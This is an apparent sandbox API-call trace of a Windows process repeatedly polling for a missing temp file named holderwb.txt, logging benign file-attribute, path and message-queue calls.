	[0099.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.439] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.439] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.440] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.440] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.440] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.440] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.440] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.440] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.441] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.441] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.441] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.441] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.442] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.442] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.442] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.443] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.443] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.443] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.443] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.443] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.444] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.444] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.444] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.444] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.444] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.444] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.445] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.445] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.445] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.445] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.445] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.446] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.446] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.446] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.446] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.447] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.447] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.447] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.448] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.448] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.448] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.448] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.448] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.448] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.449] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.449] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.449] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.449] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.450] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.450] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.451] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.451] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.451] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.451] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.451] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.451] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.452] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.452] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.452] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.452] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.452] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.452] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.453] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.453] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.453] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.453] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
